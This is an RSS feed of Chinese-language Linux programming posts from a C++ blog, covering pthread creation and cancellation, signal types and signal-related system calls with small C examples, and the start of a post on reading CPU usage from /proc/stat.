C++博客-ACFirst-随笔分类-Linuxhttp://www.cppblog.com/zzfmars/category/14650.html明天是另一天，你能看到明天的太阳吗？zh-cnFri, 27 May 2011 22:16:38 GMTFri, 27 May 2011 22:16:38 GMT60pthread_create用法 http://www.cppblog.com/zzfmars/archive/2011/05/21/146877.htmlKevin_ZhangKevin_ZhangSat, 21 May 2011 10:59:00 GMThttp://www.cppblog.com/zzfmars/archive/2011/05/21/146877.htmlhttp://www.cppblog.com/zzfmars/comments/146877.htmlhttp://www.cppblog.com/zzfmars/archive/2011/05/21/146877.html#Feedback0http://www.cppblog.com/zzfmars/comments/commentRss/146877.htmlhttp://www.cppblog.com/zzfmars/services/trackbacks/146877.html转载自 xiapingwen
最终编辑 xiapingwen
linux下用C开发多线程程序，Linux系统下的多线程遵循POSIX线程接口，称为pthread。

#include <pthread.h>

int pthread_create(pthread_t *restrict tidp,
                   const pthread_attr_t *restrict attr,
                   void *(*start_rtn)(void), 
                   void *restrict arg);

Returns: 0 if OK, error number on failure

C99 中新增加了 restrict 修饰的指针： 由 restrict 修饰的指针是最初唯一对指针所指向的对象进行存取的方法，仅当第二个指针基于第一个时，才能对对象进行存取。对对象的存取都限定于基于由 restrict 修饰的指针表达式中。 由 restrict 修饰的指针主要用于函数形参，或指向由 malloc() 分配的内存空间。restrict 数据类型不改变程序的语义。 编译器能通过作出 restrict 修饰的指针是存取对象的唯一方法的假设，更好地优化某些类型的例程。

第一个参数为指向线程标识符的指针。
第二个参数用来设置线程属性。
第三个参数是线程运行函数的起始地址。
最后一个参数是运行函数的参数。

下面这个程序中，我们的函数thr_fn不需要参数，所以最后一个参数设为空指针。第二个参数我们也设为空指针，这样将生成默认属性的线程。当创建线程成功时，函数返回0，若不为0则说明创建线程失败，常见的错误返回代码为EAGAIN和EINVAL。前者表示系统限制创建新的线程，例如线程数目过多了；后者表示第二个参数代表的线程属性值非法。创建线程成功后，新创建的线程则运行参数三和参数四确定的函数，原来的线程则继续运行下一行代码。

#include<stdio.h>
#include<pthread.h>
#include<string.h>
#include<sys/types.h>
#include<unistd.h>

pthread_t ntid;

void printids(const char *s){
pid_t pid;
pthread_t tid;

pid = getpid();
tid = pthread_self();
printf("%s pid %u tid %u (0x%x)\n",s,(unsigned int)pid,(unsigned int)tid,(unsigned
int)tid);
}

void *thr_fn(void *arg){
printids("new thread:");
return ((void *)0);
}

int main(){
int err;

err = pthread_create(&ntid,NULL,thr_fn,NULL);
if(err != 0){
printf("can't create thread: %s\n",strerror(err));
return 1;
}

printids("main thread:");
sleep(1);
return 0;
}

把APUE2上的一个程序修改一下，然后编译。
结果报错:
pthread.c:(.text+0x85)：对‘pthread_create’未定义的引用

由于pthread库不是Linux系统默认的库，连接时需要使用库libpthread.a,所以在使用pthread_create创建线程时，在编译中要加-lpthread参数:
gcc -o pthread -lpthread pthread.c

 

 

这是一个关于Posix线程编程的专栏。作者在阐明概念的基础上，将向您详细讲述Posix线程库API。本文是第一篇将向您讲述线程的创建与取消。

 

一、线程创建

 

1．1 线程与进程
相对进程而言，线程是一个更加接近于执行体的概念，它可以与同进程中的其他线程共享数据，但拥有自己的栈空间，拥有独立的执行序列。在串行程序基础上引入线程和进程是为了提高程序的并发度，从而提高程序运行效率和响应时间。

 

线程和进程在使用上各有优缺点：线程执行开销小，但不利于资源的管理和保护；而进程正相反。同时，线程适合于在SMP机器上运行，而进程则可以跨机器迁移。

 

1．2 创建线程
POSIX通过pthread_create()函数创建线程，API定义如下：


int      pthread_create(pthread_t      *      thread, pthread_attr_t * attr, 

void * (*start_routine)(void *), void * arg)
与fork()调用创建一个进程的方法不同，pthread_create()创建的线程并不具备与主线程（即调用pthread_create()的线程）同样的执行序列，而是使其运行start_routine(arg)函数。thread返回创建的线程ID，而attr是创建线程时设置的线程属性（见下）。pthread_create()的返回值表示线程创建是否成功。尽管arg是void *类型的变量，但它同样可以作为任意类型的参数传给start_routine()函数；同时，start_routine()可以返回一个void *类型的返回值，而这个返回值也可以是其他类型，并由pthread_join()获取。

1．3 线程创建属性
pthread_create()中的attr参数是一个结构指针，结构中的元素分别对应着新线程的运行属性，主要包括以下几项：

 

__detachstate，表示新线程是否与进程中其他线程脱离同步，如果置位则新线程不能用pthread_join()来同步，且在退出时自行释放所占用的资源。缺省为PTHREAD_CREATE_JOINABLE状态。这个属性也可以在线程创建并运行以后用pthread_detach()来设置，而一旦设置为PTHREAD_CREATE_DETACH状态（不论是创建时设置还是运行时设置）则不能再恢复到 PTHREAD_CREATE_JOINABLE状态。

 

__schedpolicy，表示新线程的调度策略，主要包括SCHED_OTHER（正常、非实时）、SCHED_RR（实时、轮转法）和 SCHED_FIFO（实时、先入先出）三种，缺省为SCHED_OTHER，后两种调度策略仅对超级用户有效。运行时可以用过 pthread_setschedparam()来改变。

 

__schedparam，一个struct sched_param结构，目前仅有一个sched_priority整型变量表示线程的运行优先级。这个参数仅当调度策略为实时（即SCHED_RR 或SCHED_FIFO）时才有效，并可以在运行时通过pthread_setschedparam()函数来改变，缺省为0。

 

__inheritsched，有两种值可供选择：PTHREAD_EXPLICIT_SCHED和PTHREAD_INHERIT_SCHED，前者表示新线程使用显式指定调度策略和调度参数（即attr中的值），而后者表示继承调用者线程的值。缺省为PTHREAD_EXPLICIT_SCHED。

 

__scope，表示线程间竞争CPU的范围，也就是说线程优先级的有效范围。POSIX的标准中定义了两个值： PTHREAD_SCOPE_SYSTEM和PTHREAD_SCOPE_PROCESS，前者表示与系统中所有线程一起竞争CPU时间，后者表示仅与同进程中的线程竞争CPU。目前LinuxThreads仅实现了PTHREAD_SCOPE_SYSTEM一值。

 

pthread_attr_t结构中还有一些值，但不使用pthread_create()来设置。

 

为了设置这些属性，POSIX定义了一系列属性设置函数，包括pthread_attr_init()、pthread_attr_destroy()和与各个属性相关的pthread_attr_get---/pthread_attr_set---函数。

 

1．4 线程创建的Linux实现
我们知道，Linux的线程实现是在核外进行的，核内提供的是创建进程的接口do_fork()。内核提供了两个系统调用__clone()和fork ()，最终都用不同的参数调用do_fork()核内API。当然，要想实现线程，没有核心对多进程（其实是轻量级进程）共享数据段的支持是不行的，因此，do_fork()提供了很多参数，包括CLONE_VM（共享内存空间）、CLONE_FS（共享文件系统信息）、CLONE_FILES（共享文件描述符表）、CLONE_SIGHAND（共享信号句柄表）和CLONE_PID（共享进程ID，仅对核内进程，即0号进程有效）。当使用fork系统调用时，内核调用do_fork()不使用任何共享属性，进程拥有独立的运行环境，而使用pthread_create()来创建线程时,则最终设置了所有这些属性来调用__clone()，而这些参数又全部传给核内的do_fork()，从而创建的"进程"拥有共享的运行环境，只有栈是独立的，由 __clone()传入。

 

Linux线程在核内是以轻量级进程的形式存在的，拥有独立的进程表项，而所有的创建、同步、删除等操作都在核外pthread库中进行。pthread 库使用一个管理线程（__pthread_manager()，每个进程独立且唯一）来管理线程的创建和终止，为线程分配线程ID，发送线程相关的信号（比如Cancel），而主线程（pthread_create()）的调用者则通过管道将请求信息传给管理线程。

 

二、线程取消

 

2．1 线程取消的定义
一般情况下，线程在其主体函数退出的时候会自动终止，但同时也可以因为接收到另一个线程发来的终止（取消）请求而强制终止。

 

2．2 线程取消的语义
线程取消的方法是向目标线程发Cancel信号，但如何处理Cancel信号则由目标线程自己决定，或者忽略、或者立即终止、或者继续运行至Cancelation-point（取消点），由不同的Cancelation状态决定。

 

线程接收到CANCEL信号的缺省处理（即pthread_create()创建线程的缺省状态）是继续运行至取消点，也就是说设置一个CANCELED状态，线程继续运行，只有运行至Cancelation-point的时候才会退出。

 

2．3 取消点
根据POSIX标准，pthread_join()、pthread_testcancel()、pthread_cond_wait()、 pthread_cond_timedwait()、sem_wait()、sigwait()等函数以及read()、write()等会引起阻塞的系统调用都是Cancelation-point，而其他pthread函数都不会引起Cancelation动作。但是pthread_cancel的手册页声称，由于LinuxThread库与C库结合得不好，因而目前C库函数都不是Cancelation-point；但CANCEL信号会使线程从阻塞的系统调用中退出，并置EINTR错误码，因此可以在需要作为Cancelation-point的系统调用前后调用 pthread_testcancel()，从而达到POSIX标准所要求的目标，即如下代码段：


pthread_testcancel();

        retcode = read(fd, buffer, length);

        pthread_testcancel();

2．4 程序设计方面的考虑
如果线程处于无限循环中，且循环体内没有执行至取消点的必然路径，则线程无法由外部其他线程的取消请求而终止。因此在这样的循环体的必经路径上应该加入pthread_testcancel()调用。

 

2．5 与线程取消相关的pthread函数
int pthread_cancel(pthread_t thread)
发送终止信号给thread线程，如果成功则返回0，否则为非0值。发送成功并不意味着thread会终止。

 

int pthread_setcancelstate(int state, int *oldstate)
设置本线程对Cancel信号的反应，state有两种值：PTHREAD_CANCEL_ENABLE（缺省）和 PTHREAD_CANCEL_DISABLE，分别表示收到信号后设为CANCLED状态和忽略CANCEL信号继续运行；old_state如果不为 NULL则存入原来的Cancel状态以便恢复。

 

int pthread_setcanceltype(int type, int *oldtype)
设置本线程取消动作的执行时机，type由两种取值：PTHREAD_CANCEL_DEFFERED和 PTHREAD_CANCEL_ASYCHRONOUS，仅当Cancel状态为Enable时有效，分别表示收到信号后继续运行至下一个取消点再退出和立即执行取消动作（退出）；oldtype如果不为NULL则存入运来的取消动作类型值。

 

void pthread_testcancel(void)
检查本线程是否处于Canceld状态，如果是，则进行取消动作，否则直接返回。



Kevin_Zhang 2011-05-21 18:59 发表评论
]]>Linux的系统信号（signal）类型与机制 http://www.cppblog.com/zzfmars/archive/2010/11/25/134663.htmlKevin_ZhangKevin_ZhangThu, 25 Nov 2010 11:23:00 GMThttp://www.cppblog.com/zzfmars/archive/2010/11/25/134663.htmlhttp://www.cppblog.com/zzfmars/comments/134663.htmlhttp://www.cppblog.com/zzfmars/archive/2010/11/25/134663.html#Feedback0http://www.cppblog.com/zzfmars/comments/commentRss/134663.htmlhttp://www.cppblog.com/zzfmars/services/trackbacks/134663.html
信号是Linux编程中非常重要的部分，本文将详细介绍信号机制的基本概念、Linux对信号机制的大致实现方 法、如何使用信号，以及有关信号的几个系统调用。
信号是Linux编程中非常重要的部分，本文将详细介绍信号机制的基本概念、Linux对信号机制的大致实现方法、如何使用信号，以及有关信号的几个系统 调用。
信号机制是进程之间相互传递消息的一种方法，信号全称为软中断信号，也有人称作软中断。从它的命名可以看出，它的实质和使用很象中断。所以，信号可以 说是进程控制的一部分。
1.信号的基本概念
本节先介绍信号的一些基本概念，然后给出一些基本的信号类型和信号对应的事件。基本概念对于理解和使用信号，对于理解信号机制都特别重要。下面就来看 看什么是信号。
1.1 基本概念
软中断信号（signal，又简称为信号）用来通知进程发生了异步事件。进程之间可以互相通过系统调用kill发送软中断信号。内核也可以因为 内部事件而给进程发送信号，通知进程发生了某个事件。注意，信号只是用来通知某进程发生了什么事件，并不给该进程传递任何数据。
收到信号的进程对各种信号有不同的处理方法。处理方法可以分为三类：第一种是类似中断的处理程序，对于需要处理的信号，进程可以指定处理函数， 由该函数来处理。第二种方法是，忽略某个信号，对该信号不做任何处理，就象未发生过一样。第三种方法是，对该信号的处理保留系统的默认值，这种缺省操作， 对大部分的信号的缺省操作是使得进程终止。进程通过系统调用signal来指定进程对某个信号的处理行为。
在进程表的表项中有一个软中断信号域，该域中每一位对应一个信号，当有信号发送给进程时，对应位置位。由此可以看出，进程对不同的信号可以同时保留， 但对于同一个信号，进程并不知道在处理之前来过多少个。
1.2 信号的类型
发出信号的原因很多，这里按发出信号的原因简单分类，以了解各种信号：
与进程终止相关的信号。当进程退出，或者子进程终止时，发出这类信号。
与进程例外事件相关的信号。如进程越界，或企图写一个只读的内存区域（如程序正文区），或执行一个特权指令及其他各种硬件错误。
与在系统调用期间遇到不可恢复条件相关的信号。如执行系统调用exec时，原有资源已经释放，而目前系统资源又已经耗尽。
与执行系统调用时遇到非预测错误条件相关的信号。如执行一个并不存在的系统调用。
在用户态下的进程发出的信号。如进程调用系统调用kill向其他进程发送信号。
与终端交互相关的信号。如用户关闭一个终端，或按下break键等情况。
跟踪进程执行的信号。
Linux支持的信号列表如下。很多信号是与机器的体系结构相关的。
首先列出的是POSIX.1中列出的信号：
信号　　　值　　处理动作　发出信号的原因
----------------------------------------------------------------------
SIGHUP 1　　　 　A　　终端挂起或者控制进程终止
SIGINT 2　　　 　A　　键盘中断（如break键被按下）
SIGQUIT 3　　 　 C　　键盘的退出键被按下
SIGILL 4　　 　　C　　非法指令
SIGABRT 6　　　　 C　　由abort(3)发出的退出指令
SIGFPE 8　　　　 C　　浮点异常
SIGKILL 9　　 　 AEF　 Kill信号
SIGSEGV 11　　 　 C　　无效的内存引用
SIGPIPE 13　　 　 A　　管道破裂: 写一个没有读端口的管道
SIGALRM 14　　　 A　　由alarm(2)发出的信号
SIGTERM 15　　　 A　　终止信号
SIGUSR1 30,10,16 A　　用户自定义信号1
SIGUSR2 31,12,17 A　　用户自定义信号2
SIGCHLD 20,17,18 B　　子进程结束信号
SIGCONT 19,18,25 　　　进程继续（曾被停止的进程）
SIGSTOP 17,19,23 DEF　终止进程
SIGTSTP 18,20,24 D　　控制终端（tty）上按下停止键
SIGTTIN 21,21,26 D　　后台进程企图从控制终端读
SIGTTOU 22,22,27 D　　后台进程企图从控制终端写
下面的信号没在POSIX.1中列出，而在SUSv2列出
信号　　　 值　 　处理动作　发出信号的原因
--------------------------------------------------------------------
SIGBUS 10,7,10 C 总线错误(错误的内存访问)
SIGPOLL A Sys V定义的Pollable事件，与SIGIO同义
SIGPROF 27,27,29 A Profiling定时器到
SIGSYS 12,-,12 C 无效的系统调用 (SVID)
SIGTRAP 5 C 跟踪/断点捕获
SIGURG 16,23,21 B Socket出现紧急条件(4.2 BSD)
SIGVTALRM 26,26,28 A 实际时间报警时钟信号(4.2 BSD)
SIGXCPU 24,24,30 C 超出设定的CPU时间限制(4.2 BSD)
SIGXFSZ 25,25,31 C 超出设定的文件大小限制(4.2 BSD)
（对于SIGSYS，SIGXCPU，SIGXFSZ，以及某些机器体系结构下的SIGBUS，Linux缺省的动作是A (terminate)，SUSv2 是C (terminate and dump core)）。

下面是其它的一些信号:
信号　　　 值　 　处理动作　发出信号的原因
----------------------------------------------------------------------
SIGIOT 6 C IO捕获指令，与SIGABRT同义
SIGEMT 7,-,7
SIGSTKFLT -,16,- A 协处理器堆栈错误
SIGIO 23,29,22 A 某I/O操作现在可以进行了(4.2 BSD)
SIGCLD -,-,18 A 与SIGCHLD同义
SIGPWR 29,30,19 A 电源故障(System V)
SIGINFO 29,-,- A 与SIGPWR同义
SIGLOST -,-,- A 文件锁丢失
SIGWINCH 28,28,20 B 窗口大小改变(4.3 BSD, Sun)
SIGUNUSED -,31,- A 未使用的信号(will be SIGSYS)
（在这里，- 表示信号没有实现；有三个值给出的含义为，第一个值通常在Alpha和Sparc上有效，中间的值对应i386和ppc以及sh，最后一个值对应 mips。信号29在Alpha上为SIGINFO / SIGPWR ，在Sparc上为SIGLOST。）
处理动作一项中的字母含义如下:
A 缺省的动作是终止进程
B 缺省的动作是忽略此信号
C 缺省的动作是终止进程并进行内核映像转储（dump core）
D 缺省的动作是停止进程
E 信号不能被捕获
F 信号不能被忽略
上面介绍的信号是常见系统所支持的。以表格的形式介绍了各种信号的名称、作用及其在默认情况下的处理动作。各种默认处理动作的含义是：终止程序 是指进程退出；忽略该信号是将该信号丢弃，不做处理；停止程序是指程序挂起，进入停止状况以后还能重新进行下去，一般是在调试的过程中（例如ptrace 系统调用）；内核映像转储是指将进程数据在内存的映像和进程在内核结构中存储的部分内容以一定格式转储到文件系统，并且进程退出执行，这样做的好处是为程 序员提供了方便，使得他们可以得到进程当时执行时的数据值，允许他们确定转储的原因，并且可以调试他们的程序。
注意: 信号SIGKILL和SIGSTOP既不能被捕捉，也不能被忽略。信号SIGIOT与SIGABRT是一个信号。可以看出，同一个信号在不同的系统中值可 能不一样，所以建议最好使用为信号定义的名字，而不要直接使用信号的值。
2.信 号 机 制
上一节中介绍了信号的基本概念，在这一节中，我们将介绍内核如何实现信号机制。即内核如何向一个进程发送信号、进程如何接收一个信号、进程怎样 控制自己对信号的反应、内核在什么时机处理和怎样处理进程收到的信号。还要介绍一下setjmp和longjmp在信号中起到的作用。
2.1 内核对信号的基本处理方法
内核给一个进程发送软中断信号的方法，是在进程所在的进程表项的信号域设置对应于该信号的位。这里要补充的是，如果信号发送给一个正在睡眠的进 程，那么要看该进程进入睡眠的优先级，如果进程睡眠在可被中断的优先级上，则唤醒进程；否则仅设置进程表中信号域相应的位，而不唤醒进程。这一点比较重 要，因为进程检查是否收到信号的时机是：一个进程在即将从内核态返回到用户态时；或者，在一个进程要进入或离开一个适当的低调度优先级睡眠状态时。
内核处理一个进程收到的信号的时机是在一个进程从内核态返回用户态时。所以，当一个进程在内核态下运行时，软中断信号并不立即起作用，要等到将返回用 户态时才处理。进程只有处理完信号才会返回用户态，进程在用户态下不会有未处理完的信号。
内核处理一个进程收到的软中断信号是在该进程的上下文中，因此，进程必须处于运行状态。前面介绍概念的时候讲过，处理信号有三种类型：进程接收 到信号后退出；进程忽略该信号；进程收到信号后执行用户设定用系统调用signal的函数。当进程接收到一个它忽略的信号时，进程丢弃该信号，就象没有收 到该信号似的继续运行。如果进程收到一个要捕捉的信号，那么进程从内核态返回用户态时执行用户定义的函数。而且执行用户定义的函数的方法很巧妙，内核是在 用户栈上创建一个新的层，该层中将返回地址的值设置成用户定义的处理函数的地址，这样进程从内核返回弹出栈顶时就返回到用户定义的函数处，从函数返回再弹 出栈顶时，才返回原先进入内核的地方。这样做的原因是用户定义的处理函数不能且不允许在内核态下执行（如果用户定义的函数在内核态下运行的话，用户就可以 获得任何权限）。
在信号的处理方法中有几点特别要引起注意。
在一些系统中，当一个进程处理完中断信号返回用户态之前，内核清除用户区中设定的对该信号的处理例程的地址，即下一次进程对该信号的处理方法又改 为默认值，除非在下一次信号到来之前再次使用signal系统调用。这可能会使得进程在调用signal之前又得到该信号而导致退出。在BSD中，内核不 再清除该地址。但不清除该地址可能使得进程因为过多过快的得到某个信号而导致堆栈溢出。为了避免出现上述情况。在BSD系统中，内核模拟了对硬件中断的处 理方法，即在处理某个中断时，阻止接收新的该类中断。

如果要捕捉的信号发生于进程正在一个系统调用中时，并且该进程睡眠在可中断的优先级上，这时该信号引起进程作一次longjmp， 跳出睡眠状态，返回用户态并执行信号处理例程。当从信号处理例程返回时，进程就象从系统调用返回一样，但返回了一个错误代码，指出该次系统调用曾经被中 断。这要注意的是，BSD系统中内核可以自动地重新开始系统调用。
若进程睡眠在可中断的优先级上，则当它收到一个要忽略的信号时，该进程被唤醒，但不做longjmp，一般是继续睡眠。但用户感觉不到进程曾经被唤醒，而 是象没有发生过该信号一样。
内核对子进程终止（SIGCLD）信号的处理方法与其他信号有所区别。当进程检查出收到了一个子进程终止的信号时，缺省情况下，该进程 就象没有收到该信号似的，如果父进程执行了系统调用wait，进程将从系统调用wait中醒来并返回wait调用，执行一系列wait调用的后续操作（找 出僵死的子进程，释放子进程的进程表项），然后从wait中返回。SIGCLD信号的作用是唤醒一个睡眠在可被中断优先级上的进程。如果该进程捕捉了这个 信号，就象普通信号处理一样转到处理例程。如果进程忽略该信号，那么系统调用wait的动作就有所不同，因为SIGCLD的作用仅仅是唤醒一个睡眠在可被 中断优先级上的进程，那么执行wait调用的父进程被唤醒继续执行wait调用的后续操作，然后等待其他的子进程。
如果一个进程调用signal系统调用，并设置了SIGCLD的处理方法，并且该进程有子进程处于僵死状态，则内核将向该进程发一个SIGCLD信 号。
2.2 setjmp和longjmp的作用
前面在介绍信号处理机制时，多次提到了setjmp和longjmp，但没有仔细说明它们的作用和实现方法。这里就此作一个简单的介绍。
在介绍信号的时候，我们看到多个地方要求进程在检查收到信号后，从原来的系统调用中直接返回，而不是等到该调用完成。这种进程突然改变其上下文 的情况，就是使用setjmp和longjmp的结果。setjmp将保存的上下文存入用户区，并继续在旧的上下文中执行。这就是说，进程执行一个系统调 用，当因为资源或其他原因要去睡眠时，内核为进程作了一次setjmp，如果在睡眠中被信号唤醒，进程不能再进入睡眠时，内核为进程调用longjmp， 该操作是内核为进程将原先setjmp调用保存在进程用户区的上下文恢复成现在的上下文，这样就使得进程可以恢复等待资源前的状态，而且内核为 setjmp返回1，使得进程知道该次系统调用失败。这就是它们的作用。
3.有关信号的系统调用
前面两节已经介绍了有关信号的大部分知识。这一节我们来了解一下这些系统调用。其中，系统调用signal是进程用来设定某个信号的处理方法， 系统调用kill是用来发送信号给指定进程的。这两个调用可以形成信号的基本操作。后两个调用pause和alarm是通过信号实现的进程暂停和定时器， 调用alarm是通过信号通知进程定时器到时。所以在这里，我们还要介绍这两个调用。
3.1 signal 系统调用
系统调用signal用来设定某个信号的处理方法。该调用声明的格式如下：
void (*signal(int signum, void (*handler)(int)))(int);
在使用该调用的进程中加入以下头文件：
#include 
上述声明格式比较复杂，如果不清楚如何使用，也可以通过下面这种类型定义的格式来使用（POSIX的定义）：
typedef void (*sighandler_t)(int);
sighandler_t signal(int signum, sighandler_t handler);
但这种格式在不同的系统中有不同的类型定义，所以要使用这种格式，最好还是参考一下联机手册。
在调用中，参数signum指出要设置处理方法的信号。第二个参数handler是一个处理函数，或者是
SIG_IGN：忽略参数signum所指的信号。
SIG_DFL：恢复参数signum所指信号的处理方法为默认值。
传递给信号处理例程的整数参数是信号值，这样可以使得一个信号处理例程处理多个信号。系统调用signal返回值是指定信号signum前一次的处理 例程或者错误时返回错误代码SIG_ERR。下面来看一个简单的例子：
#include 
#include 
#include 
void sigroutine(int dunno)
{ /* 信号处理例程，其中dunno将会得到信号的值 */
switch (dunno) {
case 1:
printf("Get a signal -- SIGHUP ");
break;
case 2:
printf("Get a signal -- SIGINT ");
break;
case 3:
printf("Get a signal -- SIGQUIT ");
break;
}
return;
}
int main() {
printf("process id is %d ",getpid());
signal(SIGHUP, sigroutine); //* 下面设置三个信号的处理方法
signal(SIGINT, sigroutine);
signal(SIGQUIT, sigroutine);
for (;;) ;
}
其中信号SIGINT由按下Ctrl-C发出，信号SIGQUIT由按下Ctrl-(back slash)发出。该程序执行的结果如下：
localhost:~$ ./sig_test
process id is 463
Get a signal -SIGINT //按下Ctrl-C得到的结果
Get a signal -SIGQUIT //按下Ctrl-得到的结果
//按下Ctrl-z将进程置于后台
[1]+ Stopped ./sig_test
localhost:~$ bg
[1]+ ./sig_test &
localhost:~$ kill -HUP 463 //向进程发送SIGHUP信号
localhost:~$ Get a signal – SIGHUP
kill -9 463 //向进程发送SIGKILL信号，终止进程
localhost:~$
3.2 kill 系统调用
系统调用kill用来向进程发送一个信号。该调用声明的格式如下：
int kill(pid_t pid, int sig);
在使用该调用的进程中加入以下头文件：
#include 
#include 
该系统调用可以用来向任何进程或进程组发送任何信号。如果参数pid是正数，那么该调用将信号sig发送到进程号为pid的进程。如果pid等 于0，那么信号sig将发送给当前进程所属进程组里的所有进程。如果参数pid等于-1，信号sig将发送给除了进程1和自身以外的所有进程。如果参数 pid小于-1，信号sig将发送给属于进程组-pid的所有进程。如果参数sig为0，将不发送信号。该调用执行成功时，返回值为0；错误时，返回 -1，并设置相应的错误代码errno。下面是一些可能返回的错误代码：
EINVAL：指定的信号sig无效。
ESRCH：参数pid指定的进程或进程组不存在。注意，在进程表项中存在的进程，可能是一个还没有被wait收回，但已经终止执行的僵死进程。
EPERM：进程没有权力将这个信号发送到指定接收信号的进程。因为，一个进程被允许将信号发送到进程pid时，必须拥有root权 力，或者是发出调用的进程的UID或EUID与指定接收的进程的UID或保存用户ID（savedset-user-ID）相同。如果参数pid小于 -1，即该信号发送给一个组，则该错误表示组中有成员进程不能接收该信号。
3.3 pause系统调用
系统调用pause的作用是等待一个信号。该调用的声明格式如下：
int pause(void);
在使用该调用的进程中加入以下头文件：
#include 
该调用使得发出调用的进程进入睡眠，直到接收到一个信号为止。该调用总是返回-1，并设置错误代码为EINTR（接收到一个信号）。下面是一个简单的 范例：
#include 
#include 
#include 
void sigroutine(int unused)
{
printf("Catch a signal SIGINT ");
}
int main() {
signal(SIGINT, sigroutine);
pause();
printf("receive a signal ");
}
在这个例子中，程序开始执行，就象进入了死循环一样，这是因为进程正在等待信号，当我们按下Ctrl-C时，信号被捕捉，并且使得pause退出等待 状态。
3.4 alarm和 setitimer系统调用
系统调用alarm的功能是设置一个定时器，当定时器计时到达时，将发出一个信号给进程。该调用的声明格式如下：
unsigned int alarm(unsigned int seconds);
在使用该调用的进程中加入以下头文件：
#include 
系统调用alarm安排内核为调用进程在指定的 seconds秒后发出一个SIGALRM的信号。如果指定的参数seconds为0，则不再发送SIGALRM信号。后一次设定将取消前一次的设定。该 调用返回值为上次定时调用到发送之间剩余的时间，或者因为没有前一次定时调用而返回0。注意，在使用时，alarm只设定为发送一次信号，如果要多次发 送，就要多次使用alarm调用。
对于alarm，这里不再举例。现在的系统中很多程序不再使用alarm调用，而是使用setitimer调用来设置定时器，用getitimer来 得到定时器的状态，这两个调用的声明格式如下：
int getitimer(int which, struct itimerval *value);
int setitimer(int which, const struct itimerval *value, struct itimerval *ovalue);
在使用这两个调用的进程中加入以下头文件：
#include 
该系统调用给进程提供了三个定时器，它们各自有其独有的计时域，当其中任何一个到达，就发送一个相应的信号给进程，并使得计时器重新开始。三个计时器 由参数which指定，如下所示：
TIMER_REAL：按实际时间计时，计时到达将给进程发送SIGALRM信号。

ITIMER_VIRTUAL：仅当进程执行时才进行计时。计时到达将发送SIGVTALRM信号给进程。
ITIMER_PROF：当进程执行时和系统为该进程执行动作时都计时。与ITIMER_VIR-TUAL是一对，该定时器经常用来统计进程在用户态和内 核态花费的时间。计时到达将发送SIGPROF信号给进程。
定时器中的参数value用来指明定时器的时间，其结构如下：
struct itimerval {
struct timeval it_interval; /* 下一次的取值 */
struct timeval it_value; /* 本次的设定值 */
};
该结构中timeval结构定义如下：
struct timeval {
long tv_sec; /* 秒 */
long tv_usec; /* 微秒，1秒 = 1000000 微秒*/
};
在setitimer调用中，参数ovalue如果不为空，则其中保留的是上次调用设定的值。定时器将it_value递减到0时，产生一个信 号，并将it_value的值设定为it_interval的值，然后重新开始计时，如此往复。当it_value设定为0时，计时器停止，或者当它计时 到期，而it_interval为0时停止。调用成功时，返回0；错误时，返回-1，并设置相应的错误代码errno：
EFAULT：参数value或ovalue是无效的指针。
EINVAL：参数which不是ITIMER_REAL、ITIMER_VIRT或ITIMER_PROF中的一个。
下面是关于setitimer调用的一个简单示范，在该例子中，每隔一秒发出一个SIGALRM，每隔0.5秒发出一个SIGVTALRM信号：
#include 
#include 
#include 
#include 

int sec;
void sigroutine(int signo) {
switch (signo) {
case SIGALRM:
printf("Catch a signal -- SIGALRM ");
break;
case SIGVTALRM:
printf("Catch a signal -- SIGVTALRM ");
break;
}
return;
}
int main() {
struct itimerval value,ovalue,value2;
sec = 5;
printf("process id is %d ",getpid());
signal(SIGALRM, sigroutine);
signal(SIGVTALRM, sigroutine);
value.it_value.tv_sec = 1;
value.it_value.tv_usec = 0;
value.it_interval.tv_sec = 1;
value.it_interval.tv_usec = 0;
setitimer(ITIMER_REAL, &value, &ovalue);
value2.it_value.tv_sec = 0;
value2.it_value.tv_usec = 500000;
value2.it_interval.tv_sec = 0;
value2.it_interval.tv_usec = 500000;
setitimer(ITIMER_VIRTUAL, &value2, &ovalue);
for (;;) ;
}
该例子的屏幕拷贝如下：
localhost:~$ ./timer_test
process id is 579
Catch a signal – SIGVTALRM
Catch a signal – SIGALRM
Catch a signal – SIGVTALRM
Catch a signal – SIGVTALRM
Catch a signal – SIGALRM
Catch a signal –GVTALRM

Kevin_Zhang 2010-11-25 19:23 发表评论
]]>用/proc/stat计算cpu的占用率http://www.cppblog.com/zzfmars/archive/2010/11/10/133175.htmlKevin_ZhangKevin_ZhangWed, 10 Nov 2010 01:31:00 GMThttp://www.cppblog.com/zzfmars/archive/2010/11/10/133175.htmlhttp://www.cppblog.com/zzfmars/comments/133175.htmlhttp://www.cppblog.com/zzfmars/archive/2010/11/10/133175.html#Feedback0http://www.cppblog.com/zzfmars/comments/commentRss/133175.htmlhttp://www.cppblog.com/zzfmars/services/trackbacks/133175.html在Linux下，CPU利用率分为用户态，系统态和空闲态，分别表示CPU处于用户态执行的时间，系统内核执行的时间，和空闲系统进程执行的时间，三者之和就是CPU的总时间，当没有用户进程、系统进程等需要执行的时候，CPU就执行系统缺省的空闲进程。从平常的思维方式理解的话，CPU的利用率就是非空闲进程占用时间的比例，即CPU执行非空闲进程的时间 / CPU总的执行时间。

在Linux系统中，CPU时间的分配信息保存在/proc/stat文件中，利用率的计算应该从这个文件中获取数据。文件的头几行记录了每个CPU的用户态，系统态，空闲态等状态下分配的时间片（单位是Jiffies），这些数据是从CPU加电到当前的累计值。常用的监控软件就是利用/proc/stat里面的这些数据来计算CPU的利用率的。

不同版本的linux /proc/stat文件内容不一样，以Linux 2.6来说，/proc/stat文件的内容如下：

 

cpu 2032004 102648 238344 167130733 758440 15159 17878 0

cpu0 1022597 63462 141826 83528451 366530 9362 15386 0

cpu1 1009407 39185 96518 83602282 391909 5796 2492 0

